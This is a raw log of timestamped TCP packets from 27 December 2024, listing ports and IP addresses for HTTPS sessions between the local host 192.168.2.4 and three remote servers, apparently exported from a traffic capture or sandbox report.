Dec 27, 2024 10:21:41.888003111 CET	49741	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:41.888101101 CET	49741	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:41.888106108 CET	443	49741	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:42.652683973 CET	443	49741	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:42.652776003 CET	443	49741	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:42.652841091 CET	49741	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:42.652972937 CET	49741	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:42.652992964 CET	443	49741	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:42.691005945 CET	49742	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:42.691046000 CET	443	49742	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:42.691220999 CET	49742	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:42.691471100 CET	49742	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:42.691487074 CET	443	49742	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:43.902946949 CET	443	49742	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:43.903017044 CET	49742	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:43.904333115 CET	49742	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:43.904345036 CET	443	49742	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:43.904666901 CET	443	49742	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:43.905829906 CET	49742	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:43.905921936 CET	49742	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:43.905927896 CET	443	49742	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:44.701849937 CET	443	49742	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:44.701961040 CET	443	49742	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:44.702034950 CET	49742	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:44.702188969 CET	49742	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:44.702207088 CET	443	49742	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:44.704998016 CET	49743	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:44.705040932 CET	443	49743	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:44.705120087 CET	49743	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:44.705385923 CET	49743	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:44.705396891 CET	443	49743	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:45.964121103 CET	443	49743	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:45.964411020 CET	49743	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:45.967869997 CET	49743	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:45.967879057 CET	443	49743	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:45.968200922 CET	443	49743	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:45.969367027 CET	49743	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:45.969398975 CET	49743	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:45.969445944 CET	443	49743	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:46.738079071 CET	443	49743	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:46.738214970 CET	443	49743	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:46.738375902 CET	49743	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:46.738404989 CET	49743	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:46.738420963 CET	443	49743	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:46.738432884 CET	49743	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:46.738441944 CET	443	49743	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:47.216124058 CET	49744	443	192.168.2.4	185.161.251.21
Dec 27, 2024 10:21:47.216155052 CET	443	49744	185.161.251.21	192.168.2.4
Dec 27, 2024 10:21:47.216234922 CET	49744	443	192.168.2.4	185.161.251.21
Dec 27, 2024 10:21:47.216562986 CET	49744	443	192.168.2.4	185.161.251.21
Dec 27, 2024 10:21:47.216574907 CET	443	49744	185.161.251.21	192.168.2.4
Dec 27, 2024 10:21:48.855822086 CET	443	49744	185.161.251.21	192.168.2.4
Dec 27, 2024 10:21:48.855902910 CET	49744	443	192.168.2.4	185.161.251.21
Dec 27, 2024 10:21:48.857394934 CET	49744	443	192.168.2.4	185.161.251.21
Dec 27, 2024 10:21:48.857405901 CET	443	49744	185.161.251.21	192.168.2.4
Dec 27, 2024 10:21:48.857731104 CET	443	49744	185.161.251.21	192.168.2.4
Dec 27, 2024 10:21:48.858814001 CET	49744	443	192.168.2.4	185.161.251.21
Dec 27, 2024 10:21:48.899373055 CET	443	49744	185.161.251.21	192.168.2.4
Dec 27, 2024 10:21:49.377362967 CET	443	49744	185.161.251.21	192.168.2.4
Dec 27, 2024 10:21:49.377444029 CET	443	49744	185.161.251.21	192.168.2.4
Dec 27, 2024 10:21:49.377604008 CET	49744	443	192.168.2.4	185.161.251.21
Dec 27, 2024 10:21:49.377684116 CET	49744	443	192.168.2.4	185.161.251.21
Dec 27, 2024 10:21:49.377695084 CET	443	49744	185.161.251.21	192.168.2.4
Dec 27, 2024 10:21:49.377706051 CET	49744	443	192.168.2.4	185.161.251.21
Dec 27, 2024 10:21:49.377711058 CET	443	49744	185.161.251.21	192.168.2.4
Dec 27, 2024 10:21:49.708199978 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:49.708312035 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:49.708403111 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:49.708705902 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:49.708744049 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:50.970350027 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:50.970419884 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:50.977710962 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:50.977737904 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:50.977972984 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:50.979113102 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.023340940 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.570466042 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.570502996 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.570524931 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.570560932 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.570564032 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.570605040 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.570657015 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.570667028 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.570679903 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.570724010 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.586956024 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.587042093 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.587102890 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.587124109 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.588140011 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.595330000 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.636363983 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.689951897 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.730108023 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.772236109 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.775966883 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.776113033 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.776140928 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.783689022 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.783750057 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.783763885 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.791547060 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.791603088 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.791618109 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.806963921 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.807076931 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.807133913 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.807153940 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.807270050 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.814934015 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.822618008 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.822674990 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.822684050 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.822696924 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.822830915 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.830364943 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.838274002 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.840146065 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.840161085 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.846256018 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.848225117 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.848239899 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.901993036 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.902009964 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.948859930 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.973252058 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.977210999 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.980135918 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.980165958 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.987890005 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.988090038 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.988147020 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.988162041 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:51.992144108 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:51.995764017 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.003458977 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.004225969 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.004241943 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.018405914 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.018582106 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.018598080 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.018652916 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.033523083 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.033529997 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.033596992 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.041100979 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.041168928 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.048841953 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.048849106 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.048924923 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.063942909 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.063951015 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.064129114 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.078912973 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.078918934 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.079077959 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.174449921 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.174524069 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.183341026 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.183401108 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.191550970 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.191617012 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.202682972 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.202758074 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.207948923 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.208025932 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.218311071 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.218501091 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.223356962 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.223428965 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.233196020 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.233283043 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.243001938 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.243201971 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.252836943 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.252937078 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.257853985 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.257930040 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.267776012 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.267854929 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.272666931 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.272826910 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.282612085 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.282686949 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.292331934 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.292485952 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.302164078 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.302238941 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.307306051 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.307466030 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.375684977 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.375904083 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.380239964 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.380311012 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.387298107 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.387391090 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.390748978 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.390830994 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.397300959 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.397371054 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.400727034 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.400785923 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.406892061 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.406950951 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.412997007 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.413079023 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.419042110 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.419114113 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.422094107 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.422157049 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.427911043 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.427972078 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.430761099 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.430841923 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.435384035 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.435446024 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.438872099 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.438947916 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.442406893 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.442488909 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.444452047 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.444519043 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.447736025 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.447798014 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.455848932 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.455856085 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.455904007 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.455925941 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.455945015 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.455976009 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.455996037 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.468218088 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.468234062 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.468307972 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.468323946 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.468403101 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.480643034 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.480659962 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.480720997 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.480736017 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.480976105 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.577215910 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.577240944 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.577316999 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.577338934 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.577367067 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.577403069 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.586143970 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.586160898 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.586251020 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.586266041 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.587150097 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.596188068 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.596204996 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.596288919 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.596319914 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.599152088 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.605850935 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.605866909 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.606044054 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.606059074 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.608140945 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.615761995 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.615777016 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.615843058 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.615858078 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.620135069 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.622487068 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.622500896 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.622585058 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.622598886 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.623142958 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.627855062 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.627870083 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.627935886 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.627949953 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.632138014 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.633769035 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.633784056 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.633843899 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.633857965 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.635155916 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.780599117 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.780616999 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.780680895 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.780713081 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.780744076 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.782154083 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.786577940 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.786593914 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.786648989 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.786663055 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.788140059 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.792558908 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.792573929 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.792629957 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.792644024 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.792813063 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.797828913 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.797843933 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.797904015 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.797918081 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.800137997 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.803818941 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.803833008 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.803903103 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.803915977 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.806147099 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.809403896 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.809418917 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.809475899 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.809489965 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.812138081 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.815330982 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.815346956 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.815402985 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.815432072 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.818150043 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.821314096 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.821329117 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.821382046 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.821396112 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.824130058 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.982377052 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.982393980 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.982491970 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.982513905 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.982568979 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.988262892 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.988277912 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.988339901 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.988353968 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.988419056 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.994236946 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.994256020 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.994328976 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.994343996 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.994393110 CET	49745	443	192.168.2.4	172.67.214.186
